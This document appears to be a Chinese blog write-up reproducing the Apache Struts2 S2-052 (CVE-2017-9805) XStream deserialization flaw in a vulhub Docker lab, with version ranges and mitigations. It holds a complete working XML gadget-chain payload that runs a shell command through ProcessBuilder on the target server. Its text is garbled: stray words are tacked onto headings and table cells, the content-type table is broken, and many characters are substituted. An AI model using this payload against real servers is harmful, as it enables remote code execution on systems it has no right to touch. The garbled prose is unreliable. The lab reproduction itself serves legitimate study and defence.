Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现html
1、漏洞概述java
Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操做时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。git
2、漏洞原理github
Struts2-Rest-Plugin是让Struts2可以实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有以下映射表:docker
扩展名json |
Content-Type安全 |
解析方法服务器 |
xmlapp |
Application/xmlui |
xstream |
json |
Application/json |
Jsonlib或jackson |
xhtml |
Application/xhtml+xml |
无 |
无 |
Application/x-www-form-urlencoded |
无 |
无 |
Multipart/form-data |
无 |
Jsonlib没法引入任意对象,而xstream在默认状况下是能够引入任意对象的(针对1.5.x之前的版本),方法就是直接经过xml的tag指定须要实例化的类名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
因此,咱们能够经过反序列化引入任意类形成远程命令执行漏洞,只须要找到一个在Struts2库中适用的gedget。
3、漏洞影响版本
Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
4、漏洞环境搭建以及复现
一、利用docker搭建vulhub漏洞环境
docker-compose up -d
二、启动环境后,访问http://172.17.0.1:8080/orders.xhtml,能够看到showcase页面。
三、因为rest-plugin会根据URI扩展名或 Content-Type来判断解析方法, 因此咱们只须要修改orders.xhtml或修改Content-Type头为application/xml,便可在Body中传递XML数据。
3.1点击一个edit进行编译页面,burpsuit抓包
3.2修改数据包,构造数据包
将Content-Type:application/x-www-form-urlencoded修改成:Content-Type:application/xml
Post数据修改为:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/test.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
四、能够看到响应500状态码,不过仍是成功了
五、在目标执行docker-compose exec struts2 ls /tmp/ 查看是否成功执行touch命令
5、漏洞防护
一、 升级版本
二、 删除Struts2 REST插件,或仅限于服务器普通页面和jsons:
<constant name=”struts.action.extension” value=”xhtml,json”/>
三、限制服务端扩展类型,删除XML支持。
---------------------------------------------------------------------------------------------------------------------
参考连接:https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md